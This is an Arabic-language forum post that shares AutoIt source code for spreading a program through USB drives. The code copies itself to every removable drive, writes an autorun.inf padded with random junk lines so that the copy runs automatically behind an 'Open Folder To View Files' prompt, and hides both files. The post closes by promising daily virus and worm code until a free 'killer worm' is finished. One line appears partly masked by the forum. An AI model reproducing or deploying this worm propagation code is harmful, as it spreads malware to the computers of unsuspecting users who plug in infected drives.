[ , شرح , ] , كواد , AutoIt , انتشار , usb , قوى , جدا
السلام عليكم اخواتى الاعزاء
الموضوع هوا كود AutoIt انتشار usb
الموضوع هوا كود انتشار usb قوى
هذا هوا الكود
كود:
Func _RandomAlphaNum($len)
Dim $OP,$Alpha[27] = ["a", "b", "c", "d", "e", "f", "g", _
"h", "i", "j", "k", "l", "m", "n", _
"o", "p", "q", "r", "s", "t", "u", _
"v", "w", "x", "y", "z"]
Do
Switch Random(1,4,1)
case 1
$OP &= $Alpha[Random(0,26,1)]
case 2
$OP &= StringUpper($Alpha[Random(0,26,1)])
case 3
$OP &= Random(0,10,1)
EndSwitch
Until StringLen($OP) >= $len
Return $OP
EndFunc
Func _SpreadUSB($_FNameWithExt=@ScriptName,$_Hidden=Tru e)
$Drives = DriveGetDrive("REMOVABLE")
If IsArray($Drives) And Not @error Then
For $i=1 To $Drives[0]
If FileExists($Drives[$i] & "\" & $_FNameWithExt) Then FileDelete($Drives[$i] & "\" & $_FNameWithExt)
If FileExists($Drives[$i] & "\autorun.inf") Then FileDelete($Drives[$i] & "\autorun.inf")
FileCopy(@ScriptFullPath, $Drives[$i] & "\" & $_FNameWithExt)
FileWrite($Drives[$i] & "\autorun.inf",Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _
_RandomAlphaNum(Random(4,20,1)) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _
_RandomAlphaNum(Random(4,20,1)) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(9,20,1)) & Chr(93) & @CRLF & _
"[autorun]" & @CRLF & _
_RandomAlphaNum(Random(10,30,1)) & @CRLF & _
"open=" & $_FNameWithExt & @CRLF & _
_RandomAlphaNum(Random(10,30,1)) & @CRLF & _
_RandomAlphaNum(Random(5,20,1)) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _
_RandomAlphaNum(Random(4,20,1)) & @CRLF & _
"****************lexecute=" & $_FNameWithExt & @CRLF & _
_RandomAlphaNum(Random(4,20,1)) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(15,40,1)) & Chr(93) & @CRLF & _
"action=Open Folder To View Files" & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(20,40,1)) & Chr(93) & @CRLF & _
_RandomAlphaNum(Random(4,20,1)) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF & _
Chr(91) & _RandomAlphaNum(Random(4,20,1)) & Chr(93) & @CRLF)
If $_Hidden Then
FileSetAttrib($Drives[$i] & "\" & $_FNameWithExt,"+SH")
FileSetAttrib($Drives[$i] & "\autorun.inf", "+SHR")
EndIf
Next
EndIf
EndFunc
والى هنا قد انتى موضوعى وانتظرونى بئزن الله تعآلى
كل يوم انشاء الله بكود جديد لفيروس او اكواد لدوده
حتى انتهى من عمل الدوده القاتله وسوف تكون مجانيه
F avp D ;,h] AutoIt hkjahv usb r,n []h